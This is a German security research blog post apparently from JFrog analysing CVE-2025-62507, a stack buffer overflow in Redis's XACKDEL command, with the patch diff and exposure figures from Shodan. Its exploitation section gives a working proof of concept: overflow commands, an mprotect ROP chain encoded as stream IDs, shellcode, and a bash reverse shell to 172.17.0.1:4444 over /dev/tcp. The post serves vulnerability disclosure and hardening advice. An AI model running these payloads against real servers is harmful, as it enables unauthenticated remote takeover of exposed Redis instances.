![\"Redis_Vulnerability_863x300\"](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/14123931\/Redis_Vulnerability_863x300.png\")
<\/p>\n<\/p>\n
In Redis wurde vor Kurzem eine Stack Buffer Overflow Schwachstelle entdeckt, die als CVE-2025-62507 identifiziert und in Version 8.3.2 behoben wurde. Das Advisory stuft das Problem mit einem High-Severity-Rating und einem CVSS v3 Score von 8.8 ein.<\/p>\n
Laut offiziellem Advisory kann ein User den Befehl XACKDEL mit mehreren IDs ausf\u00fchren und so einen Stack Buffer Overflow triggern, was potenziell zu Remote Code Execution (RCE) f\u00fchrt.<\/p>\n
Obwohl Memory-Corruption-L\u00fccken durch moderne Security-Mitigations heute deutlich schwerer auszunutzen sind als fr\u00fcher, f\u00fchrten sie historisch gesehen fast immer direkt zu einer vollst\u00e4ndigen Kompromittierung. Da diese Schwachstelle zwar als \u201eHigh\u201c, aber nicht als \u201eCritical\u201c eingestuft wurde, hat das JFrog Security Research Team untersucht, wie realistisch ein RCE-Szenario im Jahr 2026 tats\u00e4chlich ist.<\/p>\n
Zum Zeitpunkt der Analyse existierten weder ein \u00f6ffentlicher Proof of Concept (PoC) noch technische Detailanalysen. Wir haben uns daher zum Ziel gesetzt, die reale Exploitability von CVE-2025-62507 zu bewerten. In diesem Blogpost pr\u00e4sentieren wir eine erfolgreiche Exploitation der Schwachstelle und zeigen auf, welche Schritte notwendig sind, um daraus einen voll funktionsf\u00e4higen Exploit zu entwickeln.<\/p>\n
Redis (Remote Dictionary Server) ist ein Open-Source In-Memory-Datenspeicher, der h\u00e4ufig als Datenbank oder \u2013 \u00fcber das Streams-Feature \u2013 als Message Broker eingesetzt wird.<\/p>\n
Redis Streams dienen der Implementierung von Message Queues und Event Pipelines. Nachrichten werden an einen Stream angeh\u00e4ngt, an Consumer einer Consumer-Group zugestellt und in einer internen Struktur, der Pending Entries List (PEL), nachverfolgt, bis sie mit einem Acknowledgment als verarbeitet markiert werden. Diese Nachverfolgung garantiert eine zuverl\u00e4ssige Zustellung, erfordert jedoch ein pr\u00e4zises Cleanup der Referenzen nach Abschluss der Verarbeitung.<\/p>\n
Die Schwachstelle wird durch den neuen Befehl XACKDEL ausgel\u00f6st, der in Redis 8.2 eingef\u00fchrt wurde, um das Stream-Cleanup zu optimieren. XACKDEL kombiniert das Best\u00e4tigen von Nachrichten (analog zu XACK) und deren L\u00f6schen (analog zu XDEL) in einer einzigen atomaren Operation.<\/p>\n
XACKDEL erm\u00f6glicht eine granulare Kontrolle \u00fcber den Lifecycle einer Nachricht, insbesondere durch Optionen wie KEEPREF, DELREF und ACKED. Diese bestimmen, wie Referenzen in der PEL behandelt werden und ob Message-Metadaten vollst\u00e4ndig entfernt werden. Dieses Design reduziert den Overhead f\u00fcr das Bookkeeping und macht separate Aufrufe von XACK und XDEL in High-Throughput-Szenarien \u00fcberfl\u00fcssig.<\/p>\n
Die interne Komplexit\u00e4t beim Parsen und Verwalten mehrerer Message-IDs innerhalb eines einzelnen Commands f\u00fchrte jedoch letztlich zur Sicherheitsl\u00fccke CVE-2025-62507.<\/p>\n
Bei der Untersuchung des Patches f\u00fcr CVE-2025-62507 wird die zugrunde liegende Schwachstelle sofort ersichtlich. Der Bug befindet sich in der Implementierung der Funktion XACKDEL akzeptiert eine variable Anzahl an Message-IDs. Um diese effizient zu verarbeiten, parst die Funktion jede vom User bereitgestellte ID und speichert sie in einem auf dem Stack allokierten Array mit fester Gr\u00f6\u00dfe ( Das Kernproblem besteht darin, dass der Code nicht \u00fcberpr\u00fcft, ob die Anzahl der vom Client \u00fcbermittelten IDs innerhalb der Grenzen dieses Stack-Arrays liegt. Wenn mehr IDs gesendet werden, als das Array aufnehmen kann, schreibt die Funktion \u00fcber das Ende des Buffers hinaus.<\/p>\n Dies f\u00fchrt zu einem klassischen stack-based Buffer Overflow.<\/p>\n Da die geparsten Stream-IDs vollst\u00e4ndig vom Angreifer kontrolliert werden, korrumpiert der Overflow nicht nur benachbarte Daten; er erm\u00f6glicht es einem Angreifer, sensible Stack-Inhalte wie gespeicherte Register und die Return Address der Funktion gezielt zu \u00fcberschreiben. Da die Struktur der Stream-IDs aus zwei unabh\u00e4ngigen numerischen Werten besteht, l\u00e4sst sich der \u00fcberschriebene Speicher pr\u00e4zise kontrollieren, um erfolgreich eine Remote Code Execution zu erzielen.<\/p>\n In den betroffenen Versionen kann dieser Zustand in der Redis Standardkonfiguration remote ausgel\u00f6st werden<\/strong> \u2013 allein durch das Senden eines einzelnen XACKDEL-Commands mit einer entsprechend hohen Anzahl an Message-IDs. Da Redis standardm\u00e4\u00dfig keine Authentifizierung erzwingt, handelt es sich hierbei um eine unauthenticated Remote Code Execution.<\/p>\n Der Fixing-Commit enth\u00e4lt einen von den Redis-Maintainern hinzugef\u00fcgten Regression Test<\/a>, um sicherzustellen, dass diese Schwachstelle nicht mehr getriggert werden kann. Der Test f\u00fchrt zun\u00e4chst einen Dieser Testcase verdeutlicht sowohl den vulnerablen Code-Pfad als auch die minimale Befehlssequenz, die erforderlich ist, um diesen zu erreichen. Er bietet somit einen optimalen Ausgangspunkt f\u00fcr einen Exploit.<\/p>\n Um die Schwachstelle zu testen, k\u00f6nnen wir einen einfachen Redis-Server mit dem offiziellen Redis-Docker-Image<\/a> betreiben:<\/p>\n Und in einer separaten Shell f\u00fchren wir das Redis-CLI aus:<\/p>\n Im CLI f\u00fchren wir dieselben Befehle aus, die Redis f\u00fcr den Regression Test nutzt:<\/p>\n In unserem Setup passierte dabei nichts weiter. Erst das Hinzuf\u00fcgen von zwei weiteren IDs brachte den Server zum Absturz:<\/p>\n Beim \u00dcberpr\u00fcfen der Logs des abgest\u00fcrzten Servers fielen uns am Anfang des Crash-Reports Daten wie die folgenden auf:<\/p>\n Man erkennt, dass der Prozess versuchte, eine Instruction innerhalb des redis-server-Binaries auszuf\u00fchren und dabei auf die Adresse 0x9 zugreifen wollte.<\/p>\n Versuchen wir nun, eine weitere ID hinzuzuf\u00fcgen:<\/p>\n Das Crash-Log sieht nun so aus:<\/p>\n Das Crash-Log zeigt nun einen Instruction Pointer von \u00dcberraschenderweise zeigt diese direkte Kontrolle \u00fcber den EIP, dass Redis im offiziellen Docker-Image ohne Stack Canary Protections kompiliert wurde!<\/strong><\/p>\n Nachdem die Kontrolle \u00fcber den EIP best\u00e4tigt war, haben wir das \u201eredis-server\u201c-Binary aus dem Docker-Image extrahiert und f\u00fcr eine genauere Untersuchung in IDA Pro ge\u00f6ffnet. Werfen wir einen Blick auf das Stack-Layout der Funktion Wir k\u00f6nnen sehen, dass sich das\u00a0 Wenn wir OK.Und was folgt daraus?<\/p>\n Der n\u00e4chste Schritt besteht darin, den Execution Flow umzuleiten und vom Angreifer kontrollierten Code auszuf\u00fchren. Dazu m\u00fcssen wir die Kontrolle an eine spezifische Speicheradresse \u00fcbergeben, die eine Codeausf\u00fchrung erm\u00f6glicht. In der Praxis wird dies durch Address Space Layout Randomization (ASLR) erschwert, da der Speicher bei jedem Prozessstart nach dem Zufallsprinzip neu angeordnet wird.<\/p>\n In einem realen Angriffsszenario w\u00fcrde diese Schwachstelle typischerweise mit einem Information Disclosure Flaw kombiniert werden, um Speicheradressen zu leaken und ASLR zu umgehen. F\u00fcr diesen Proof of Concept (PoC) deaktivieren wir ASLR jedoch auf unserem Testsystem, um vorhersehbare Speicheradressen zu erhalten und uns rein auf den Nachweis der Exploitability zu konzentrieren:<\/p>\n Normalerweise m\u00fcssten wir zus\u00e4tzlich die Stack Canary Protection umgehen (ebenfalls mithilfe eines Information Disclosure Flaws). Wie jedoch bereits erw\u00e4hnt, wurde das im Docker-Image enthaltene Binary ohne diesen Schutzmechanismus kompiliert. Wir konnten dies auch durch die Untersuchung des Binaries selbst best\u00e4tigen: Wie man sieht, f\u00fchrt der Epilog der Funktion keinerlei Pr\u00fcfungen durch, bevor er zur\u00fcckkehrt.<\/p>\n Wir haben das Binary aus dem Docker-Image mit dem auf unserem Host-System installierten Binary verglichen (Redis-Version 7.0.15, installiert \u00fcber den Ubuntu-Paketmanager). Interessanterweise ist beim Host-System die Stack Canary Protection aktiviert.<\/span><\/p>\n Wie immer gibt es einen weiteren Sicherheitsmechanismus, der f\u00fcr eine erfolgreiche Exploitation umgangen werden muss: die NX (No-eXecute) Protection. Diese verhindert die Ausf\u00fchrung von Code in bestimmten Speicherbereichen, wie dem Stack, indem sie diese als nicht ausf\u00fchrbar markiert.<\/span><\/p>\n Um NX zu umgehen, konstruieren wir eine Return-Oriented Programming (ROP) Chain. Dabei nutzen wir bereits im Binary vorhandene Befehlssequenzen, sogenannte Gadgets. Anstatt Code direkt vom Stack auszuf\u00fchren, ruft die ROP-Chain legitime Funktionen auf, um die Memory-Permissions zu \u00e4ndern.<\/span><\/p>\n In unserem Fall ist es das Ziel, den Stack durch den Aufruf der Funktion Um Dies wird durch die Konstruktion einer ROP-Chain erreicht, die aus einfachen Gadgets im redis-server-Binary besteht. Insbesondere ben\u00f6tigen wir Gadgets, die Werte in die Register Sobald die Argumente gesetzt sind, springt die Ausf\u00fchrung per Return in die Alle diese Gadgets lie\u00dfen sich problemlos im redis-server-Binary finden.<\/p>\n Nach dem erfolgreichen Aufruf von An diesem Punkt muss der Stack pr\u00e4zise so aufgebaut sein, dass die Ausf\u00fchrung nach dem Return von Das pr\u00e4parierte Stack-Layout sieht wie folgt aus:<\/p>\n Als einfachen Test-Payload platzieren wir eine einzelne <\/span>J Vollst\u00e4ndiger Payload:<\/span><\/p>\n Von diesem Punkt an ist es trivial, den Shellcode durch die Ausf\u00fchrung eines Systembefehls und eine Reverse Shell zu ersetzen. Wir haben einen einfachen Shellcode erstellt, der die <\/span>system<\/span>-Funktion aufruft, um eine Reverse Shell zu initiieren, und anschlie\u00dfend in einer Endlosschleife verharrt. Wir haben ermittelt, dass sich die <\/span>system<\/span>-Funktion an der Adresse Am Ende unseres Shellcodes haben wir den Befehl hinzugef\u00fcgt, den wir ausf\u00fchren m\u00f6chten:<\/p>\n Dieser Befehl initiiert eine Bash-Shell, die wiederum eine weitere Bash-Shell startet. Diese leitet ihren Output an Port 4444 der IP 172.17.0.1 weiter \u2013 die Host-IP innerhalb von Docker. Wir haben die Bash in eine weitere Bash gekapselt, da die system-Funktion standardm\u00e4\u00dfig \/bin\/sh nutzt. Diese zeigt oft auf dash, was die Reverse Shell nicht korrekt erzeugen konnte. Daher haben wir uns entschieden, das Parsing des Befehls innerhalb der Bash zu erzwingen.<\/p>\n Auf dem Host haben wir Netcat gestartet, das auf Port 4444 lauscht. Anschlie\u00dfend haben wir den Payload gesendet:<\/p>\n Und wir haben die Reverse Shell!<\/span><\/p>\n Wie bereits erw\u00e4hnt, nutzen die meisten modernen Systeme ASLR, um den Address Space der laufenden Prozesse zu randomisieren. Das bedeutet, dass ein Angreifer f\u00fcr eine vollst\u00e4ndige Ausnutzung dieser Schwachstelle zus\u00e4tzlich Speicheradressen des Prozesses und der Libraries leaken muss \u2013 m\u00f6glicherweise \u00fcber eine separate Data Leak Vulnerability. In F\u00e4llen, in denen Redis mit Stack Canaries kompiliert wurde, m\u00fcsste der Angreifer zudem einen Weg finden, den Stack Canary auszulesen.<\/p>\n Laut Shodan gibt es zum Zeitpunkt der Erstellung dieses Beitrags 2.924 Server<\/a>, die unmittelbar \u00fcber diese Schwachstelle ausnutzbar sind, da:<\/p>\n 1. Sie eine vulnerable Version von Redis ausf\u00fchren (8.2.0, 8.2.1, 8.2.2).<\/p>\n 2. Sie \u00fcber keinerlei Authentifizierungs-Mechanismen verf\u00fcgen.<\/p>\n Die tats\u00e4chliche Anzahl ausnutzbarer Server k\u00f6nnte jedoch weitaus h\u00f6her liegen, da Shodan zudem 183.907 Redis-Server<\/a> mit aktivierter Authentifizierung gefunden hat. Diese Server k\u00f6nnten ebenfalls in den Bereich der vulnerablen Versionen fallen. Angreifer k\u00f6nnten hier versuchen, das Login-Passwort per Brute-Force zu knacken, um sich Zugriff zu verschaffen und anschlie\u00dfend die Schwachstelle auszunutzen.<\/p>\n <\/p>\n Diese Schwachstelle verdeutlicht, dass selbst in modernen, ausgereiften Projekten wie Redis klassische Memory-Corruption-Fehler auftreten k\u00f6nnen, sobald neue, komplexe Features eingef\u00fchrt werden. W\u00e4hrend Stack-based Buffer Overflows oft als Problem der Vergangenheit betrachtet werden, zeigt CVE-2025-62507, dass diese Sicherheitsl\u00fccken nicht nur weiterhin existieren, sondern \u00fcberraschend einfach auszunutzen sein k\u00f6nnen.<\/p>\n Entwickler m\u00fcssen sicherstellen, dass Security-Mitigations wie der Stack Canary Schutz w\u00e4hrend des Kompilierungsprozesses aktiviert sind (beispielsweise durch das Flag Schlie\u00dflich sollten Anwender sich bei der Priorisierung von Patches nicht ausschlie\u00dflich auf CVSS-Scores verlassen. Obwohl CVE-2025-62507 als \u201eHigh\u201c und nicht als \u201eCritical\u201c eingestuft wurde, erwies sie sich als gef\u00e4hrlicher und direkter Vektor f\u00fcr eine Remote Code Execution.<\/p>\n Um \u00fcber weitere Angriffe und Schwachstellen auf dem Laufenden zu bleiben, besuchen Sie das JFrog Security Research Center <\/a>f\u00fcr aktuelle Informationen zu CVEs und Fixes. Zum Schutz Ihrer Software Supply Chain informieren Sie sich \u00fcber die JFrog Platform.<\/a><\/p>\n","protected":false},"excerpt":{"rendered":" In Redis wurde vor Kurzem eine Stack Buffer Overflow Schwachstelle entdeckt, die als CVE-2025-62507 identifiziert und in Version 8.3.2 behoben wurde. Das Advisory stuft das Problem mit einem High-Severity-Rating und einem CVSS v3 Score von 8.8 ein. Laut offiziellem Advisory kann ein User den Befehl XACKDEL mit mehreren IDs ausf\u00fchren und so einen Stack Buffer …<\/p>\n","protected":false},"author":590,"featured_media":162046,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[10157],"tags":[11014,11015,11016,11013,10848,10348],"class_list":["post-162133","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sicherheit-und-devsecops","tag-rce-de","tag-cve-de","tag-cli-de","tag-react-native-de","tag-vulnerabilities-de","tag-security-research-de"],"yoast_head":"\nxackdelCommand<\/code>. Diese Funktion ist daf\u00fcr zust\u00e4ndig, die vom User \u00fcbergebene Liste von Stream-IDs zu parsen und zu verarbeiten.<\/p>\n \r\ndiff --git a\/src\/t_stream.c b\/src\/t_stream.c\r\nindex d721780a6..3ef48943f 100644\r\n--- a\/src\/t_stream.c\r\n+++ b\/src\/t_stream.c\r\n@@ -3215,6 +3215,8 @@ void xackdelCommand(client *c) {\r\n * executed in a \"all or nothing\" fashion. *\/\r\n streamID static_ids[STREAMID_STATIC_VECTOR_LEN];\r\n streamID *ids = static_ids;\r\n+ if (args.numids > STREAMID_STATIC_VECTOR_LEN)\r\n+ ids = zmalloc(sizeof(streamID)*args.numids);\r\n for (int j = 0; j < args.numids; j++) { if (streamParseStrictIDOrReply(c,c->argv[j+args.startidx],&ids[j],0,NULL) != C_OK)\r\n goto cleanup;\r\n\r\n<\/code><\/pre>\nstatic_ids<\/code>). Jede geparste Stream-ID wird intern als streamID<\/code>-Struktur dargestellt, die aus zwei 64-Bit-Integern besteht.<\/p>\nExploitation von CVE-2025-62507<\/h2>\n
XGROUP CREATE<\/code>-Befehl aus, gefolgt von einem XACKDEL<\/code>-Command, der 50 Message-IDs enth\u00e4lt.<\/p>\n \r\ndiff --git a\/tests\/unit\/type\/stream-cgroups.tcl b\/tests\/unit\/type\/stream-cgroups.tcl\r\nindex 05c56074e..a5265056c 100644\r\n--- a\/tests\/unit\/type\/stream-cgroups.tcl\r\n+++ b\/tests\/unit\/type\/stream-cgroups.tcl\r\n@@ -1658,5 +1658,20 @@ start_server {\r\n assert_equal [dict get $group lag] 0\r\n assert_equal [dict get $group entries-read] 1\r\n }\r\n+\r\n+ test \"XACKDEL with IDs exceeding STREAMID_STATIC_VECTOR_LEN for heap allocation\" {\r\n+ r DEL mystream\r\n+ r XGROUP CREATE mystream mygroup $ MKSTREAM\r\n+\r\n+ # Generate IDs exceeding STREAMID_STATIC_VECTOR_LEN (8) to force heap allocation\r\n+ # instead of using the static vector cache, ensuring proper memory allocation.\r\n+ set ids {}\r\n+ for {set i 0} {$i < 50} {incr i} {\r\n+ lappend ids \"$i-1\"\r\n+ }\r\n+ set result [r XACKDEL mystream mygroup IDS 50 {*}$ids]\r\n+ assert {[llength $result] == 50}\r\n+ r PING\r\n+ }\r\n }\r\n }\r\n\r\n<\/code><\/pre>\n\r\nsudo docker run --name my-redis -p 6379:6379 --rm redis:8.2.1\r\n\r\n<\/code><\/pre>\n\r\nredis-cli\r\n\r\n<\/code><\/pre>\n\r\nDEL mystream\r\nXGROUP CREATE mystream mygroup $ MKSTREAM\r\nXACKDEL mystream mygroup IDS 50 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1\r\n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1\r\n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \r\n43-1 44-1 45-1 46-1 47-1 48-1 49-1\r\n\r\n<\/code><\/pre>\n\r\nDEL mystream\r\nXGROUP CREATE mystream mygroup $ MKSTREAM\r\nXACKDEL mystream mygroup IDS 52 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 \r\n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 \r\n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \r\n43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1\r\n\r\n<\/code><\/pre>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13210639\/JFrog-Exploiting-the-Redis-Vulnerability-image2.png\")
<\/p>\n\r\nXGROUP CREATE mystream mygroup $ MKSTREAM\r\nXACKDEL mystream mygroup IDS 53 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1 \r\n11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1 \r\n27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1 \r\n43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1 52-1\r\n\r\n<\/code><\/pre>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13211440\/JFrog-Exploiting-the-Redis-Vulnerability-image9.png\")
\nAn diesem Punkt wird das Verhalten interessant. Der Prozess versuchte, auf die Adresse 0x1<\/code> zu springen. Das wirft sofort die Frage auf, woher dieser Wert stammt. Die wahrscheinlichste Quelle ist die letzte Stream-ID, die wir der Liste hinzugef\u00fcgt haben. Um dies zu verifizieren, \u00e4ndern wir die letzte ID von 52-1 auf 52-2 und beobachten, ob sich das Crash-Verhalten entsprechend \u00e4ndert:<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13211140\/JFrog-Exploiting-the-Redis-Vulnerability-image8.png\")
<\/p>\n0x2<\/code>. Damit ist klar, dass es sich um einen klassischen Stack-based Buffer Overflow handelt, bei dem die Return Address der Funktion \u00fcberschrieben wird. Die zweite numerische Komponente der letzten Stream-ID kontrolliert direkt den Wert, der in den Slot der Return Address geschrieben wird.<\/p>\nxackdelCommand<\/code>.<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13212700\/JFrog-Exploiting-the-Redis-Vulnerability-image7.png\")
<\/p>\nstatic_ids<\/code>Array bei Offset -0x340<\/code> befindet und jedes\u00a0 streamID<\/code> Element 16 Bytes lang ist:<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13212838\/JFrog-Exploiting-the-Redis-Vulnerability-image6.png-.png\")
<\/p>\n0x340<\/code> durch 16 teilen, ergibt das 52. Das bedeutet, dass die 53. ID die Return Address der Funktion \u00fcberschreibt. Eine genauere Analyse des Codes zeigt, dass Stream-IDs als Paare von zwei 64-Bit-Integern (getrennt durch einen Bindestrich) geparst werden. Diese Werte werden direkt in die streamID<\/code>-Struktur geschrieben. Das gibt uns die M\u00f6glichkeit, ohne jegliche Begrenzung beliebige Werte auf den Stack zu schreiben.<\/p>\n\r\necho 0 > \/proc\/sys\/kernel\/randomize_va_space\r\n\r\n<\/code><\/pre>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13213736\/JFrog-Exploiting-the-Redis-Vulnerability-image4.png\")
<\/p>\nmprotect<\/code><\/span> ausf\u00fchrbar zu machen. Hierf\u00fcr \u00fcbergeben wir kontrollierte Argumente: die Ziel-Speicheradresse, die Gr\u00f6\u00dfe des Speicherbereichs und die gew\u00fcnschten Protection-Flags. Aus den Crash-Logs konnten wir entnehmen, dass der Stack Pointer (RSP) auf 0x7fffffffe7d0<\/code><\/span>\u00a0zeigte. Basierend darauf richten wir die Zieladresse am Anfang der Memory Page bei 0x7fffffffe000<\/code><\/span> aus, fordern eine Gr\u00f6\u00dfe von 0x20000<\/code><\/span> Bytes an und setzen die Berechtigungen auf Read, Write und Execute .<\/span><\/p>\n\r\nmprotect(0x7fffffffe000, 0x20000, PROT_READ | PROR_WRITE | PROT_EXEC)\r\n\r\n<\/code><\/pre>\nmprotect<\/code> aufzurufen, nutzen wir Code wieder, der bereits im Address Space des Prozesses existiert \u2013 konkret die Implementierung von mprotect<\/code> in der libc<\/code>-Library. Dieser Ansatz ist eine Form von ret2libc, bei der die Ausf\u00fchrung auf eine vertrauensw\u00fcrdige Library-Funktion umgeleitet wird, anstatt direkt in injizierten Shellcode zu springen.<\/p>\nrdi, rsi,<\/code> und rdx<\/code>\u00a0laden, da diese den ersten drei Argumenten von mprotect<\/code> entsprechen. Jedes Gadget muss mit einer RET<\/code>-Instruction enden, damit die Ausf\u00fchrung kontrolliert durch die gesamte Chain flie\u00dfen kann.<\/p>\nmprotect<\/code>-Funktion, welche die Memory Permissions des Stacks aktualisiert. Danach kann die Kontrolle an vom Angreifer kontrollierte Daten auf dem Stack \u00fcbergeben werden, womit der \u00dcbergang von einem Memory Corruption Bug zu einer Arbitrary Code Execution abgeschlossen ist.<\/p>\nmprotect<\/code>\u00a0und der Markierung des Stacks als ausf\u00fchrbar besteht der letzte Schritt darin, die Ausf\u00fchrung auf den kontrollierten Code zu \u00fcbertragen. Hierzu nutzen wir ein\u00a0 CALL rsp<\/code>-Gadget, das ebenfalls leicht im redis-server-Binary zu finden war. Dieses Gadget leitet die Ausf\u00fchrung direkt an den aktuellen Stack Pointer (RSP) weiter, an dem unser Payload platziert ist.<\/p>\nmprotect<\/code>\u00a0durch die ROP-Chain und anschlie\u00dfend direkt in unseren Code flie\u00dft. Das Stack-Layout besteht daher aus den ROP-Gadgets f\u00fcr das Setup und den Aufruf von mprotect<\/code>, unmittelbar gefolgt vom Payload.<\/p>\n![\"<code>\"](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13215959\/JFrog-Redis-Vulnerability-image10.png\")
<\/p>\nJMP 0x0<\/code><\/span>-Instruction im finalen Slot. Dies versetzt den Redis-Server in eine Endlosschleife und best\u00e4tigt damit alle bisher besprochenen Schritte.<\/span><\/p>\n\r\nXGROUP CREATE mystream mygroup $ MKSTREAM\r\nXACKDEL mystream mygroup IDS 57 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-93824992764711 140737488347136-93824992781334 131072-93824994830866 7-140737344395808 93824993018745-65259\r\n\r\n<\/code><\/pre>\n0x7FFFF7600490<\/code><\/span>\u00a0befindet. Daraufhin haben wir den folgenden Shellcode kompiliert:<\/span><\/p>\n\r\nlea rdi, [rip+data]\r\nmov rax, 0x7FFFF7600490 # system\r\ncall rax\r\nloop:\r\njmp loop\r\ndata:\r\n\r\n<\/code><\/pre>\n\r\n\/bin\/bash -c '\/bin\/bash -i >& \/dev\/tcp\/172.17.0.1\/4444 0>&1'\r\n\r\n<\/code><\/pre>\n\r\nXGROUP CREATE mystream mygroup $ MKSTREAM\r\nXACKDEL mystream mygroup IDS 62 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \r\n1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \r\n1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 \r\n1-93824992764711 140737488347136-93824992781334 131072-93824994830866 \r\n7-140737344395808 93824993018745-5188146770969726280 \r\n36028759975170232-7593684693624618752 3251713775725850478-3417785037639589987 \r\n2335447498982908258-3420032447996241470 3328783758969037684-3760278288324245297 \r\n3541586533393118260-39\r\n\r\n<\/code><\/pre>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13221314\/JFrog-Exploiting-the-Redis-Vulnerability-image1-1.png\")
<\/p>\nFehlende Komponenten f\u00fcr einen Fully-Weaponized Exploit<\/h2>\n
Wie verbreitet ist CVE-2025-62507 heute?<\/h2>\n
![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13222056\/JFrog-Exploiting-the-Redis-Vulnerability-image5.png\")
<\/p>\n![\"JFrog](\"https:\/\/media.jfrog.com\/wp-content\/uploads\/2026\/01\/13222300\/JFrog-Exploiting-the-Redis-Vulnerability-image3.png\")
<\/p>\nFazit<\/h2>\n
-fstack-protector<\/code>\u00a0bei der Verwendung von gcc). Wie unsere Untersuchung zeigt, kann das Fehlen dieser Schutzmechanismen in bestimmten Umgebungen einen \u201eHigh-Severity\u201c-Bug in einen trivialen Pfad f\u00fcr eine Remote Code Execution verwandeln.<\/p>\n